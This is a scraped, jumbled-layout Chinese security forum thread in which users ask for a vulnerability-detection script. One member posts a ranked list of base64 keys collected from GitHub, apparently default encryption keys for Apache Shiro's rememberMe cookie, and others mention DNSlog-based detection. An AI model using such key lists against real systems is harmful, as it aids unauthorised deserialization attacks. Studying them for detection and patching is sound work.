无奈注册会员发表于 2019-8-28 16:14 | 只看该作者 | @该作者 | 顶(1) | 回复4#mrhonest14AvVhmFLUs0KTA3Kprsdag== : 190 3AvVhmFLUs0KTA3Kprsdag== : 157 Z3VucwAAAAAAAAAAAAAAAA== : 135 2AvVhdsgUs0FSA3SDFAdag== : 114 wGiHplamyXlVB11UXWol8g== : 35 kPH+bIxk5D2deZiIxcaaaA== : 27 fCq+/xW488hMTCD+cmJ3aQ== : 9 1QWLxg+NYmxraMoxAXu/Iw== : 9 ZUdsaGJuSmxibVI2ZHc9PQ== : 8 L7RioUULEFhRyxM7a2R/Yg== : 5 6ZmI6I2j5Y+R5aSn5ZOlAA== : 5 r0e3c16IdVkouZgk1TKVMg== : 4 ZWvohmPdUsAWT3=KpPqda : 4 5aaC5qKm5oqA5pyvAAAAAA== : 4 bWluZS1hc3NldC1rZXk6QQ== : 3 a2VlcE9uR29pbmdBbmRGaQ== : 3 WcfHGU25gNnTxTlmJMeSpw== : 3 LEGEND-CAMPUS-CIPHERKEY== : 3 3AvVhmFLUs0KTA3Kprsdag == : 3byyun189
注册会员
发表于 2019-8-28 15:20 来自 | 只看该作者 | @该作检测脚本可以共享一下吗?web 安全测试发表于 2019-8-28 15:55 来自 | 只看该作者 | @该作检测脚本可以学习学习吗
帖子960
积分273
TCV0
回复引用使用道具TOP 帖子1215
积分328
TCV0
TuBi26
坛龄1469天
4#
回复引用使用道具TOP
帖子679 积分359 TCV14 TuBi23 坛龄2930天5#
注册会员
姑娘!姑娘!我的好姑娘!
mrhonest1注册会员
发表于 2019-8-28 16:09 来自 | 只看该作者 | @该作能共享一下github上搜集了部分常用的key吗?
文能提笔控萝莉,武能床上定人妻
无奈
注册会员
发表于 2019-8-28 16:14 来自 | 只看该作者 | @该作回复4#mrhonest1
4AvVhmFLUs0KTA3Kprsdag== : 190
3AvVhmFLUs0KTA3Kprsdag== : 157
Z3VucwAAAAAAAAAAAAAAAA== : 135
2AvVhdsgUs0FSA3SDFAdag== : 114 wGiHplamyXlVB11UXWol8g== : 35
kPH+bIxk5D2deZiIxcaaaA== : 27
fCq+/xW488hMTCD+cmJ3aQ== : 9
1QWLxg+NYmxraMoxAXu/Iw== : 9 ZUdsaGJuSmxibVI2ZHc9PQ== : 8
L7RioUULEFhRyxM7a2R/Yg== : 5
6ZmI6I2j5Y+R5aSn5ZOlAA== : 5
r0e3c16IdVkouZgk1TKVMg== : 4 ZWvohmPdUsAWT3=KpPqda : 4
5aaC5qKm5oqA5pyvAAAAAA== : 4
回复引用使用道具TOP 帖子281
积分377
TCV 2 TuBi 469 坛龄1217天
6#回复引用使用道具TOP 帖子236
积分231
TCV 0
TuBi 9 坛龄1267天7#回复引用使用道具TOP
bWluZS1hc3NldC1rZXk6QQ== : 3 a2VlcE9uR29pbmdBbmRGaQ== : 3 WcfHGU25gNnTxTlmJMeSpw== : 3 LEGEND-CAMPUS-CIPHERKEY== : 3 3AvVhmFLUs0KTA3Kprsdag == : 3
jglimmers
注册会员
发表于 2019-8-28 17:53 来自 | 只看该作者 | @该作回复5#无奈脚本能共享下吗?u 神猴赛雷
注册会员
发表于 2019-8-28 21:16 来自 | 只看该作者 | @该作这个是什么漏洞,我怎么好像没有见过
回复引用使用道具TOP 帖子1215
积分328
TCV0
TuBi26
坛龄1469天
9#
回复引用使用道具TOP
帖子853 积分228 TCV0 TuBi107 坛龄3211天10#
crac01
回复6#jglimmers
我咋都没看到作者有提到啥脚本?...
mrhonest1注册会员
发表于 2019-8-29 13:21 来自 | 只看该作者 | @该作回复5#无奈
收到,谢谢
rdpclip.exe 注册会员
发表于 2019-8-31 12:37 来自iPhone客户端 | 只看该作者 | @ Dnslog运用的很好啊,点赞
12下一页
返回列表苏ICP 备13023583号|论坛统计
GMT+8, 2019-11-21 11:08. Powered by Discuz!1.0发表回复回帖后跳转到最后一页。